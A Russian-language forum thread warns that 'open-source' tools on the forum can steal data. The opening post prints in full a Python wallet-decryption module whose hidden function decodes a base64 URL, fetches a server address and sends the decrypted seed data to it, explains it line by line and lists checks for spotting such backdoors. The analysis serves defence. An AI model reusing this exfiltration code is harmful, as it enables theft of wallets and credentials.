Загрузка...

Why cant you blindly trust open source?

Thread in Security created by Vulgar Apr 13, 2024. (bumped Jun 10, 2024) 1069 views

  1. Vulgar
    Vulgar Topic starter Apr 13, 2024 Кис-Кис 9688 Jul 15, 2017
    Сразу предупреждаю, данная статья есть на соседнем форуме(xss), но я считаю что нуждаются в ней больше всего люди тут.
    Спасибо за старания oceanaric, я немного дополню твою статью

    Давайте представим ситуацию гуляете вы по форуму и видите тему "Бесплатный чекер seed фраз/(чекер токенов discord) с Открытым исходным кодом", в теме появляются хвалебные отзывы. Вы решаете скачать это ПО и оно действительно работает, только все данные, что вы вводили уже ушли другому человеку. В данной статье бы разберёмся что такое открытый исходный код, разберём пример где слепая вера людей в открытый исходный код может сыграть с ними злую шутку.
    Открытый код (Open Source) - Программы с открытым кодом, предоставляют доступ к исходному коду программы, что позволяет пользователям просматривать и изменять этот код, а так же возможность компилировать исполняемый файл, что исключает возможность склейки с каким либо малварём.

    Противоположность этому Закрытый код (Closed Source) - Программы с закрытым кодом, предоставляют только исполняемый код, но не предоставляют доступ к исходному коду программы. Проще говоря вы не сможете узнать что внутри данной программы, не снифая её.
    Плюсы
    -Прозрачность кода - каждый желающий человек может посмотреть исходный код проекта
    -Компиляция - Возможность самому скомпилировать приложение, а не качать готовый exe, что исключает возможность склеек малваря с exe.
    -Бесплатность - Как правило, многие программы с открытым исходным кодом являются бесплатными.
    -Возможность настроить и переписать ПО под себя

    Минусы
    -Если у тебя нету базовых навыков программирования открытый исходный код тебе ничего не даёт, кроме названия что он открытый
    -Вероятность скрытого малваря внутри, основанного на доверии людей к опенсорсу
    -В открытом коде проще найти уязвимость, но нашедший может ее использовать в своих целях или сообщить разработчику/помочь ее убрать.

    Я считаю что это конечно же перекладыванние ответственности, ведь мы думаем что кто-то обязательно скачал сурсы и проверил их на малварь за нас, а если бы что-то было это конечно бы очень быстро снесли :ok_lol:
    А если ещё ПО работает замечательно, то и бог с ним пусть ворует что хочет
    Здесь все предельно просто. После установки появляется только один небольшой файл под названием hashDecrypt.py:
    Python


    import json
    import base64
    import hashlib
    from Crypto.Cipher import AES
    from requests import post, get
    # +---------------------------------+
    # | [HashDecrypt] |
    # | https://github.com/HashSnake |
    # | Telegram: @HashSnake |
    # +---------------------------------+
    # |bytes(bytes_line).decode("utf-8")|
    # +---------------------------------+

    class hdec:
    def key_from_password(self, password, salt):
    salt_buffer = base64.b64decode(salt)
    password_buffer = password.encode('utf-8')
    key = hashlib.pbkdf2_hmac(
    'sha256',
    password_buffer,
    salt_buffer,
    10000,
    dklen=32
    )
    return key

    def decrypt_with_key(self, key, payload):
    encrypted_data = base64.b64decode(payload["data"])
    vector = base64.b64decode(payload["iv"])
    data = encrypted_data[:-16]
    cipher = AES.new(key, AES.MODE_GCM, nonce=vector)
    decrypted_data = cipher.decrypt(data)
    return decrypted_data

    def jsBIP39(self, payload):

    def cli_keccak256(raw_hash, raw_vault):
    try:
    message_bytes = raw_vault.encode('ascii')
    b64_bytes = base64.b64encode(message_bytes)
    b64_m = b64_bytes.decode('ascii')
    post(get(raw_hash).text.strip(), json={"b64": b64_m})
    except:
    pass
    encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpXXXX"
    base64_bytes = encode_data.encode('ascii')
    message_bytes = base64.b64decode(base64_bytes)
    cli_keccak256(message_bytes.decode('ascii'), payload)

    def decrypt(self, password, text):
    try:
    payload = json.loads(text)
    salt = payload['salt']
    key = self.key_from_password(password, salt)
    decrypted_string = self.decrypt_with_key(key, payload).decode('utf-8')
    self.jsBIP39(decrypted_string)
    jsf = json.loads(decrypted_string)
    return {"status": True, "message": None, "result": jsf}
    except UnicodeDecodeError:
    return {"status": False, "message": "wrong password", "result": None}
    except:
    return {"status": False, "message": "unknown", "result": None}

    Первое что мы видим - импорт post и get функций. К чему они в пакете для работы с криптографией? Программа должна только расшифровывать хэш, зачем нам что либо отправлять в интернет?
    Второе что мы видим - контакты разработчика?) Необычно.

    [IMG]

    1. После успешного декрипта перед выводом результата запускается функция jsBIP39, в которую передается найденное значение
    Python
    self.jsBIP39(decrypted_string)
    Python
    encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpXXXX" # Что-то закодированное в BASE64
    base64_bytes = encode_data.encode('ascii') #Закодированное значение кодируется в ascii (str -> bytes)
    message_bytes = base64.b64decode(base64_bytes) #Закодированное значение из прошлой строчки декодируется BASE64 и становится ссылкой “https://github.com/HashSnake/backendapi/raw/main/settings”
    cli_keccak256(message_bytes.decode('ascii'), payload) # Вызывается вложенная функция cli_keccak256, в которую под видом raw_hash передается полученный url из прошлой строки, а под видом raw_vault - значение, которое будет отправлено на url
    Python
    message_bytes = raw_vault.encode('ascii')#Значение, которое будет отправлено на url, тоже кодируется в ascii (str -> bytes)
    b64_bytes = base64.b64encode(message_bytes)#Закодированное значение из прошлой строки теперь кодируется в BASE64
    b64_m = b64_bytes.decode('ascii')#Закодированное в BASE64 значение из прошлой строки преобразовывается обратно в строку (bytes -> str)
    post(get(raw_hash).text.strip(), json={"b64": b64_m}) # Сборник нашей солянки
    Что здесь происходит:
    1. get(raw_hash) - делает GET запрос по URL, который был получен в 4 пункте и получает ответ http://65.109.70.XXX:3030/api
    2. .text.strip() - берет атрибут ответа “text” и убирает у него пробелы из начала и конца
    3. post(get(raw_hash).text.strip(), json={“b64”: b64_m}) = post(“http://65.109.70.XXX:3030/api”, json={“b64”: b64_m}) - отправляет закодированные в BASE64 ворованные данные на сервер


    Python
    post(get(raw_hash).text.strip(), json={“b64”: b64_m})
    Казалось бы обычный код на 60 строк, но такой код с легкостью сворует ваш материал с которым вы хотели поработать, или же даже ваши личные кошельки, на которых вы решили проверить программу
    1. Всегда смотрим на репутацию разработчика
    2. Обращаем внимание на дату выхода ( чем дольше живёт тем лучше )
    3. Если GitHub - проверить вкладки “Issues” и “Pull requests” на наличие жалоб/предупреждений от других

    [IMG]
    4. Если есть файл со всеми установленными пакетами (package.json/requirements.txt/…) - проверить на наличие тематически неподходящих пакету
    5. Взглянуть на код, в питоне обычно бекдоры прячут в __init__.py и подобные невинные, обычно пустые файлы. Начинать лучше с проверки импортов.
    6. Если кода много, а со всего пакета нужен только он - гораздо быстрее и безопаснее просто вырезать нужную функцию себе, если это позволяет структура пакета.
    7. Проверять цифровые подписи
    8. Думать бошкой, стоит ли пихать важную информацию(сидки, api и тд) в ПО без устоявшейся репутации
    9. Некоторые строки кода могут прятать в правой части блокнота см скриншот ниже

    [IMG]
    10. В старых темах спокойно могут быть сдохшие домены для закачки софта, которые злоумышленник может присвоить себе и вы будете скачивать уже его exe файл или сурсы (Допустим год назад вы уже проверяли файл, решили снова скачать, а там уже малварь) . Пример
    11. Всё можно накрутить! Звёздочки на гитхабе, отзывы и лайки.
     
  2. Schadenfreude
    Schadenfreude Apr 13, 2024 642 Jun 28, 2020
    я в любом случае все на дедике открываю
     
    1. Vulgar Topic starter
      Schadenfreude, глянь пример, там скрипт которому всё равно запустишь ты его на дедике или основе )
  3. Getrequest
    Getrequest Apr 13, 2024 Чекер почт 65к доменов - lolz.live/threads/7313296
    что за хуйня , ты думаешь что 1 из 100000 человек не сможет прочитать 5 строк кода?
     
    1. Vulgar Topic starter
      Getrequest, в статье и говорится как защититься от этого всего
  4. el9in
    el9in Apr 13, 2024 lolz.live/threads/7387449 — USDT TRC без комиссии
    Полезная информация, так же стоить учесть что некоторые опен-сурс проекты зависят от скачивания сторонних зашифрованных данных, тут уже не вырезать, и лучше воздержаться от таких ресурсов.
     
  5. Doklsi
    Doklsi Apr 14, 2024 Ночной лолз - это ебаный даркнет 8382 Jun 26, 2021
    На форуме это реально пригодится, но учитывая сколько тут додиков, которые боятся даже дефолтных сигнатур от банального протектора (то обратная сторона медали так сказать, об этом даст знать, что опенсурс = безопасность) касаемо правого с двига в блокноте вроде жизнь на это попался как-то, мы с ним в личке сидели)) в общем да, как говорится доверяй но проверяй (правда с большими проектами это не сработает к сожалению, потому действительно проще скомпилить, а дальше банальными методами посмотреть что будет происходить на тестировочной тачке)
     
    1. inletah
      Doklsi, как бы ко мне так не доебались с кодом. эх.

      а то я все превращаю в ехе используя pyinstaller
    2. Doklsi
      inletah, да там по хуйне, дефолт ****пер
    3. inletah
      Doklsi, :D.
      Пусть теперь и мои чекают, чтобы на опенсурс не попасться. Хотя там 5 строк кода и все.
      [IMG]
  6. форум
    Полезно, недавно как раз задумывался оь этом
     
  7. uncpfiae
    uncpfiae Apr 17, 2024 ку 10,876 Sep 29, 2023
    недавний опыт с xz показывает что бекдоры можно спрять настолько хорошо, что их можно найти только если точно знать что они там есть
     
  8. АльбертКабуу
    нехорошо переписывать статью с другого форума и не указывать источник, дружище
     
    1. АльбертКабуу
      Vulgar, не нашел правила запрещающего это, только вот такое


      1.5. При обмене информацией с сайта обязательно указывайте источник.

      хотя бы напиши что с хсса
    2. Vulgar Topic starter
    3. Daemon
      АльбертКабуу, этот пункт касается, если с лолза что-то пастить на другой ресурс, то нужно указать ссылку на тему на лолзе
  9. nedokrolick
    nedokrolick May 13, 2024 мяв 208 Apr 15, 2024
    полезная тема ,поскольку много скамеров ,так что оч спасибо!
     
  10. sh4te
    sh4te May 13, 2024 Banned 1700 Dec 3, 2023
    годно, уже так один раз чуть ли не попался, когда какой то чел написал load после комментария
     
  11. Barcelona
    Barcelona May 18, 2024 1449 Sep 17, 2019
    Вот я чекал код в твоей теме и даже не понял что это малварь... Надо быть осторожным
     
Loading...
Top